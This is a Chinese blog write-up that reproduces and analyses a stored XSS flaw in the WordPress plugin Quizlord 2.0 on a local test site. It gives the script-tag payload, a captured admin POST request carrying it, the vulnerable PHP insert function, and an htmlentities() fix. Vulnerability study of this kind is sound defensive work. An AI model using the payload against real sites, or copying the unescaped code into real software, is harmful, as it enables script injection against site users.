【漏洞復現】WordPress插件Quizlord 2.0 XSS漏洞復現與分析
阿新 • • 發佈：2019-02-17
secure images post form 簡單的 wow 簡單 這樣的 出現 年後趁著需要做安全測試系統不多的這個空檔，學學python到處逛逛復現復現和分析一些簡單的漏洞
0x00 復現環境
- phpstudy
- wordpress 4.4版本
貌似WordPress爆出漏洞的通常基本大多都是它的插件存在安全問題。
0x01步驟
使用phpstudy搭建環境，搭建wordpress，然後登陸進後臺去下載Quizlord插件，版本為2.0
一切就緒後就開始看怎麽觸發的XSS了
3) At the title type: poc"><script>alert(1)</script> , then fill the remaining fields and click Save.
--from exploit-db
XSS註入點：title
request包
POST /wp4.4/wordpress/wp-admin/admin.php HTTP/1.1 Host: localhost Content-Length: 184 Cache-Control: max-age=0 Origin: http://localhost Upgrade-Insecure-Requests: 1 Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/65.0.3325.181 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8 Referer: http://localhost/wp4.4/wordpress/wp-admin/admin.php?page=quizlord Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Cookie: wordpress_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7C43a2436e074320bb113475ff8e44222065a4454e602d990d36639085856f0dd3; wordpress_test_cookie=WP+Cookie+check; wordpress_logged_in_886edae3e5f5a7a13e41eff06328019c=admin%7C1550369766%7C3jD0iLwbcUNXjhlOr5O8IF6NjPACdraiCJZNLJhvCOW%7Cf23acf621ce28dbfc8f0baf9abe31370d3fc5674ca575a4ba1029832ca552c62; wp-settings-time-1=1550197219; pgv_pvi=4214545408; Phpstorm-c3dafaf3=cd60577d-e9ad-4825-b2e4-7a109a7e2faf; PHPSESSID=8v8jf1s93dprjgq4bpo29ldsq7 Connection: close action=ql_insert&title=%3E%3Cscript%3Ealert%281%29%3C%2Fscript%3E&description=1&time=0&numbtype=numerical&numbmark=1&rightcolor=00FF00&wrongcolor=FF0000&showtype=paginated&addquiz=Save
效果當然是觸發啊 代碼裏一點過濾都沒有 這算一個存儲型XSS
0x02漏洞原理分析
知其然要知其所以然，下面我們來看問題出現在哪個環節
進入Quizlord插件目錄，找到quizlord.php，打開
出問題的是這段函數 title沒有被過濾盒轉義就直接寫進數據庫裏面了
function ql_insert_quiz_data(){ global $wpdb; if(!empty($_POST[‘title‘])){ $ql_title = $_POST[‘title‘]; $ql_description = $_POST[‘description‘]; $ql_time = $_POST[‘time‘]; $ql_rightcolor = "#".$_POST[‘rightcolor‘]; $ql_wrongcolor = "#".$_POST[‘wrongcolor‘]; $ql_numbtype = $_POST[‘numbtype‘]; $ql_numbmark = $_POST[‘numbmark‘]; $ql_showtype = $_POST[‘showtype‘]; $ql_random = isset($_POST[‘random‘]) ? 1 : 0; $ql_skip = isset($_POST[‘skip‘]) ? 1 : 0; $ql_resume = isset($_POST[‘resume‘]) ? 1 : 0; $ql_backbtn = isset($_POST[‘backbtn‘]) ? 1 : 0; $ql_autoload = isset($_POST[‘autoload‘]) ? 1 : 0; $ql_checkcnt = isset($_POST[‘checkcnt‘]) ? 1 : 0; $wpdb->insert($wpdb->prefix.‘ql_quizzes‘, array( ‘name‘ => $ql_title, ‘description‘ => $ql_description, ‘time‘ => $ql_time, ‘right_color‘ => $ql_rightcolor, ‘wrong_color‘ => $ql_wrongcolor, ‘numbering_type‘ => $ql_numbtype, ‘numbering_mark‘ => $ql_numbmark, ‘show_type‘ => $ql_showtype, ‘random‘ => $ql_random, ‘skip‘ => $ql_skip, ‘resume‘ => $ql_resume, ‘autoload‘ => $ql_autoload, ‘back_button‘ => $ql_backbtn, ‘check_continue‘ => $ql_checkcnt )); } wp_redirect($_SERVER[‘HTTP_REFERER‘]); exit(); } add_action(‘admin_action_ql_insert‘, ‘ql_insert_quiz_data‘);
0x03 漏洞PoC
待寫
0x04 漏洞修復
利用htmlentities()函數轉義html實體。
剛開始的時候想 我一開始都插入payload進數據庫了。不如就在輸出的位置做轉義吧
於是定位到輸出的代碼，修改成<?php echo htmlentities($qlq->name); ?>
輸出就變成正常了，無辦法觸發XSS漏洞。
如果在輸入點進行轉義的話，定位的到輸入賦值的位置，加入 $ql_title = htmlentities($_POST[‘title‘])即可
這樣的情況最好在輸入輸出點都做轉義，這樣就保障得多了
0x05 Reference
https://www.exploit-db.com/exploits/45307 詳細的漏洞細節以及復現方法
https://www.freebuf.com/vuls/189814.html 中文版的這哥們也寫了
【漏洞復現】WordPress插件Quizlord 2.0 XSS漏洞復現與分析